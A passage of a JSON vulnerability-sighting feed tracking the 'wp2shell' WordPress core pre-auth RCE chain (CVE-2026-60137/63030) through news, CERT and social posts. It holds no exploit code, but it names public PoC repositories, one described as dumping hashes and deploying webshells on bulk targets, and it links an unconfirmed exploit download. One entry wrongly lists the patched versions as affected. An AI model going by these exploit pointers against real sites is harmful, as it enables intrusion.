"2026-07-18T16:00:49.441Z", "date_only": false, "value": "2026-07-18T16:00:49.441683Z", "kind": "sighting", "label": "Seen", "source": "https://www.acn.gov.it/portale/w/wordpress-poc-pubblico-per-lo-sfruttamento-delle-cve-2026-60137-e-cve-2026-63030", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "ded0e68b-baad-4ca3-849b-47f629733c6d", "content": "Disponibile Proof of Concept (PoC) per le vulnerabilit\u00e0 identificate dalle CVE-2026-60137 e CVE-2026-63030, gi\u00e0 sanate dal vendor, che interessa il prodotto WordPress Core.", "url": "https://www.acn.gov.it/portale/w/wordpress-poc-pubblico-per-lo-sfruttamento-delle-cve-2026-60137-e-cve-2026-63030"}, {"timestamp": "2026-07-18T16:18:20.800Z", "date_only": false, "value": "2026-07-18T16:18:20.800955Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/davidgerard.circumstances.run.ap.brid.gy/post/3mqwo4mfczkf2", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "2798043a-6de6-4fce-ac74-273edca626b9", "content": "Update your WordPress to 7.0.2/6.9.5, it's important\n\nhttps://discourse.ifin.network/t/cve-2026-63030-and-cve-2026-60137-wp2shell-pre-auth-rce-in-wordpress-eitw/672/2", "url": "https://bsky.app/profile/davidgerard.circumstances.run.ap.brid.gy/post/3mqwo4mfczkf2"}, {"timestamp": "2026-07-18T16:32:12.481Z", "date_only": false, "value": "2026-07-18T16:32:12.481351Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwovkrqbv2j", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b31e7667-596d-4aaf-a201-a83b43fe89d6", "content": "CVE-2026-60137: Two Critical WordPress Vulnerabilities Demand Immediate Action #WordPress #CVE2026 #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwovkrqbv2j"}, {"timestamp": "2026-07-18T16:33:13.486Z", "date_only": false, "value": "2026-07-18T16:33:13.486182Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwoxeobuo2j", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "47d8ffdb-a210-4f73-b0ae-4dab6cfbd1dd", "content": "CVE-2026-60137: WordPress Vulnerabilities Demand Immediate Patching #WordPress #CVE2026 #Cybersecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwoxeobuo2j"}, {"timestamp": "2026-07-18T16:33:15.079Z", "date_only": false, "value": "2026-07-18T16:33:15.079471Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwoxglrkd25", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "45ed2e8f-5d55-46b2-a79c-2009021753a2", "content": "CVE-2026-60137: WordPress Vulnerabilities Demand Immediate Action Amid Confusion #WordPress #CVE2026 #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwoxglrkd25"}, {"timestamp": "2026-07-18T16:33:16.931Z", "date_only": false, "value": "2026-07-18T16:33:16.931905Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwoxiaae62j", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9291c5eb-bc30-40c7-855a-dfc544893094", "content": "CVE-2026-60137: WordPress Vulnerabilities Reveal Serious Patch Gaps #CVE2026 #WordPress #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwoxiaae62j"}, {"timestamp": "2026-07-18T16:33:19.514Z", "date_only": false, "value": "2026-07-18T16:33:19.514922Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwoxjwxgn2y", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b44c9c6a-20c7-4663-9132-9adaaebd69d6", "content": "CVE-2026-60137: WordPress Vulnerabilities Demand Patching, But What\u2019s the Evidence? #WordPress #CyberSecurity #Vulnerabilities", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwoxjwxgn2y"}, {"timestamp": "2026-07-18T16:33:20.475Z", "date_only": false, "value": "2026-07-18T16:33:20.475464Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwoxli4kv2u", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "0732a507-e14c-4f2a-9bde-93618c3be651", "content": "CVE-2026-60137: Immediate Patches or a Misguided Response? #CVE202660137 #WordPressSecurity #Cybersecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqwoxli4kv2u"}, {"timestamp": "2026-07-18T16:53:15.975Z", "date_only": false, "value": "2026-07-18T16:53:15.975571Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/vuldb/statuses/116942018680723716", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "456e8f4d-3893-449d-a64e-97310f3525db", "content": "Attention, elevated activities detected targeting WordPress (CVE-2026-60137) https://vuldb.com/vuln/379928/cti", "url": "https://infosec.exchange/users/vuldb/statuses/116942018680723716"}, {"timestamp": "2026-07-18T17:00:05.115Z", "date_only": false, "value": "2026-07-18T17:00:05.115796Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94005", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b6c6c2eb-0b06-4c09-90a5-2f6ac11eeb2d", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xsha\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 14:29:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 + CVE-2026-60137 - \u201cwp2shell\u201d: unauthenticated RCE in WordPress core\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94005"}, {"timestamp": "2026-07-18T18:00:04.537Z", "date_only": false, "value": "2026-07-18T18:00:04.537963Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94017", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b9fe8ece-fbbb-409a-a2e9-fb4059055529", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a h4cd0c\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 16:41:06\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell \u2014 Pre-authentication RCE in WordPress Core (CVE-2026-60137 + CVE-2026-63030). Chains an SQL injection in author__not_in with batch-route confusion for unauthenticated remote code execution on WP 6.9.0\u20136.9.4 / 7.0.0\u20137.0.1.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94017"}, {"timestamp": "2026-07-18T18:00:25.538Z", "date_only": false, "value": "2026-07-18T18:00:25.538988Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mqwttcd5pq2a", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "aa2b781f-b6db-4c42-a15c-9da733a2daf7", "content": "Public exploits for WordPress Core wp2shell flaws now enable pre-auth RCE on 6.9.x and 7.0.x. Tracked as CVE-2026-63030 and CVE-2026-60137. WordPress has pushed security updates. #WordPress #RCE #CVE2026", "url": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mqwttcd5pq2a"}, {"timestamp": "2026-07-18T18:00:29.454Z", "date_only": false, "value": "2026-07-18T18:00:29.454515Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/offseq/statuses/116942282990851209", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8314ddf9-92f7-40fb-b659-674355a1b026", "content": "WordPress Core \"wp2shell\" CRITICAL RCE chain (CVE-2026-63030 & CVE-2026-60137) actively exploited. Affects 6.9.0 \u2013 6.9.4 & 7.0.0 \u2013 7.0.1. Public PoCs out. Patch to 6.9.5/7.0.2 ASAP. Block REST API endpoints as temp mitigation. https://radar.offseq.com/threat/wordpress-core-wp2shell-rce-flaws-get-public-exploits-patch-now-99579d9a7c571599 #OffSeq #WordPress #RCE #Vuln", "url": "https://infosec.exchange/users/offseq/statuses/116942282990851209"}, {"timestamp": "2026-07-18T18:38:34.436Z", "date_only": false, "value": "2026-07-18T18:38:34.436346Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mqwvxjrszp24", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f4ee5b99-9a51-4595-b192-ec65ef9aff97", "content": "\ud83e\udd16 WordPress Core \"wp2shell\" RCE (CVE-2026-63030, CVE-2026-60137): public exploits released for critical unauthenticated RCE. Patch immediately.\n\nhttps://www.bleepingcomputer.com/news/security/wordpress-core-wp2shell-rce-flaws-get-public-exploits-patch-now/", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mqwvxjrszp24"}, {"timestamp": "2026-07-18T19:00:04.561Z", "date_only": false, "value": "2026-07-18T19:00:04.561700Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/P0x3k_1N73LL1G3NC3/393", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "752737bd-11bf-42d0-8f62-2cbb85a9b552", "content": "WordPress Core \"wp2shell\" RCE\n\nThe attack consists of two flaws, tracked as CVE-2026-63030 and CVE-2026-60137, that can be chained together to achieve pre-authentication remote code execution against WordPress installs running versions 6.9.x and 7.0.x.", "url": "https://t.me/P0x3k_1N73LL1G3NC3/393"}, {"timestamp": "2026-07-18T19:00:04.608Z", "date_only": false, "value": "2026-07-18T19:00:04.608960Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityIL/86094", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b31afaa7-044e-48f3-bfff-857f28426e6d", "content": "\ud83c\udf10\u05e9\u05d9\u05de\u05d5 \u05dc\u05d1 \u05dc\u05e9\u05ea\u05d9 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05e4\u05dc\u05d8\u05e4\u05d5\u05e8\u05de\u05ea Wordpress \u05d4\u05de\u05d0\u05e4\u05e9\u05e8\u05d5\u05ea (\u05d9\u05d7\u05d3) \u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7.\n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea CVE-2026-60137 \u05d5-CVE-2026-63030 \u05db\u05d5\u05dc\u05dc\u05d5\u05ea \u05db\u05d1\u05e8 POC \u05e2\u05d5\u05d1\u05d3 \u05e9\u05e4\u05d5\u05e8\u05e1\u05dd \u05d1\u05e8\u05e9\u05ea, \u05e7\u05d9\u05d1\u05dc\u05d5 \u05d0\u05ea \u05d4\u05db\u05d9\u05e0\u05d5\u05d9 wp2shell, \u05d5\u05d4\u05df \u05e4\u05d5\u05e6'\u05e4\u05e6'\u05d5 \u05d1\u05d2\u05e8\u05e1\u05d0\u05d5\u05ea 6.9.5 \u05d5-7.0.2.\n\nhttps://t.me/CyberSecurityIL/9229", "url": "https://t.me/CyberSecurityIL/86094"}, {"timestamp": "2026-07-18T20:00:03.954Z", "date_only": false, "value": "2026-07-18T20:00:03.954758Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94025", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "55766d6b-261e-4431-a6fb-d717cc3f2e75", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xWhoknows\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 17:33:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAutomated exploit chain for CVE-2026-63030 / CVE-2026-60137 \u2014 unauthenticated blind SQLi via WordPress REST batch route-confusion. Dumps user hashes, cracks credentials, deploys webshell. Supports single target and bulk site lists. For authorized security testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94025"}, {"timestamp": "2026-07-18T20:00:04.036Z", "date_only": false, "value": "2026-07-18T20:00:04.036169Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94024", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "56104ddf-3d88-4865-81fd-a323951c23b6", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell_scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zi3lak\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 17:56:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-intrusive detection scanner for the WordPress wp2shell pre-auth RCE chain (CVE-2026-63030 + CVE-2026-60137). Detection-only, no exploitation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94024"}, {"timestamp": "2026-07-18T20:00:04.140Z", "date_only": false, "value": "2026-07-18T20:00:04.140703Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94031", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3742d0a3-6504-40b1-8cfb-698777b83913", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a yoerivegt\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 19:02:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell (CVE-2026-60137 / CVE-2026-63030)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94031"}, {"timestamp": "2026-07-18T21:00:03.761Z", "date_only": false, "value": "2026-07-18T21:00:03.761225Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94036", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "39cb4a5d-a5e1-4b99-b1ac-face87473bf7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WordPresShell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a securelayer7\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 19:57:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE PoC for CVE-2026-63030 / CVE-2026-60137 (WordPress core)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94036"}, {"timestamp": "2026-07-18T21:02:12.745Z", "date_only": false, "value": "2026-07-18T21:02:12.745094Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqx5yezwym2e", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a07b8918-7dcb-41cd-b9b9-461a2148dce2", "content": "\ud83d\udee1\ufe0f RECAP: WordPress 'wp2shell' \u2014 CVE-2026-63030 chained with CVE-2026-60137 gave unauthenticated RCE on a bare install. Emergency patch shipped (6.9.5/7.0.2 forced auto-update). Public PoC live. Src: The Hacker News", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqx5yezwym2e"}, {"timestamp": "2026-07-18T22:15:51.668Z", "date_only": false, "value": "2026-07-18T22:15:51.668418Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/wdormann/statuses/116943287112997869", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b9b9e303-fc1e-4caf-a2ff-e703ab0f6859", "content": "I didn't confirm it, but there's apparently a public exploit for wp2shell (CVE-2026-60137 and CVE-2026-63030)https://warez.sl0p.foo/wp2shell-fast/", "url": "https://infosec.exchange/users/wdormann/statuses/116943287112997869"}, {"timestamp": "2026-07-18T22:15:56.360Z", "date_only": false, "value": "2026-07-18T22:15:56.360830Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wdormann.infosec.exchange.ap.brid.gy/post/3mqxc4625swq2", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "825bb649-e4da-47d1-af8d-84afe808ac80", "content": "I didn't confirm it, but there's apparently a public exploit for wp2shell (CVE-2026-60137 and CVE-2026-63030)\nhttps://warez.sl0p.foo/wp2shell-fast/", "url": "https://bsky.app/profile/wdormann.infosec.exchange.ap.brid.gy/post/3mqxc4625swq2"}, {"timestamp": "2026-07-18T23:00:03.226Z", "date_only": false, "value": "2026-07-18T23:00:03.226943Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94049", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "1d8626b8-379c-48d7-856e-d3b1ed4f0fc0", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a JohenLastGen-JLG\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 21:39:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell - WordPress RCE & PoC (CVE-2026-63030 + CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94049"}, {"timestamp": "2026-07-18T23:00:03.445Z", "date_only": false, "value": "2026-07-18T23:00:03.445776Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94051", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e46562b8-a155-4f1e-a28d-b1d7f7c3361f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-detect\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a own2pwn-fr\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 21:36:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nBlackbox, non-intrusive detector for wp2shell (WordPress core pre-auth RCE, CVE-2026-63030 / CVE-2026-60137). Detection only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94051"}, {"timestamp": "2026-07-19T00:00:09.245Z", "date_only": false, "value": "2026-07-19T00:00:09.245925Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94036", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e561bd83-e6f2-489c-a226-3b680ea573f9", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WordPresShell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a securelayer7\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 19:57:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE PoC for CVE-2026-63030 / CVE-2026-60137 (WordPress core)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94036"}, {"timestamp": "2026-07-19T00:00:28.506Z", "date_only": false, "value": "2026-07-19T00:00:28.506488Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thehackernews/9544", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2cd449d3-acb9-419c-b035-74299bb3e9e8", "content": "\u26a1 UPDATE: #wp2shell now has two CVEs, and a working proof-of-concept is public.\n\n> CVE-2026-63030 breaks REST batch routing\n> CVE-2026-60137 injects SQL\n\nChained, they give an anonymous attacker code execution on affected WordPress sites.\n\nHow the exploit path works: https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://t.me/thehackernews/9544"}, {"timestamp": "2026-07-19T00:00:40.148Z", "date_only": false, "value": "2026-07-19T00:00:40.148113Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93917", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "34ac20b5-951e-4e3e-80f7-f6a5226bb546", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-cve-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Senanfurkan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 00:44:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Detection PoC.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93917"}, {"timestamp": "2026-07-19T04:53:12.138Z", "date_only": false, "value": "2026-07-19T04:53:12.138914Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mqxycl25wi2d", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a01e0a82-865c-4abe-9b01-e769a7a4a445", "content": "Top 3 CVE for last 7 days:\nCVE-2026-58532: 47 interactions\nCVE-2026-15409: 21 interactions\nCVE-2026-63030: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-63030: 16 interactions\nCVE-2026-60137: 9 interactions\nCVE-2026-62857: 4 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mqxycl25wi2d"}, {"timestamp": "2026-07-19T06:00:03.295Z", "date_only": false, "value": "2026-07-19T06:00:03.295934Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberbannews_ir/22721", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "15056f9d-2a60-49b7-b917-81251d488ae1", "content": "\ud83d\udd34 \u0647\u0634\u062f\u0627\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc\u061b \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062e\u0637\u0631\u0646\u0627\u06a9 \u062f\u0631 \u0648\u0631\u062f\u067e\u0631\u0633 \u0628\u0627 \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\n\n\ud83d\udd3b \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc CVE-2026-60137 \u0648 CVE-2026-63030 \u062f\u0631 \u0648\u0631\u062f\u067e\u0631\u0633 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u062f\u0631 \u0635\u0648\u0631\u062a \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0645\u0632\u0645\u0627\u0646\u060c \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RCE) \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\ud83d\udd3b \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0645\u0648\u0646\u0647 \u06a9\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 (PoC) \u0628\u0627 \u0646\u0627\u0645 wp2shell \u0646\u06cc\u0632 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0639\u0645\u0648\u0645\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0648 \u062e\u0637\u0631 \u062d\u0645\u0644\u0627\u062a \u0631\u0627 \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83d\udd39 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 6.9.5 \u0648 7.0.2 \u0648\u0631\u062f\u067e\u0631\u0633 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u0648 \u0628\u0647 \u0645\u062f\u06cc\u0631\u0627\u0646 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u062a\u0648\u0635\u06cc\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 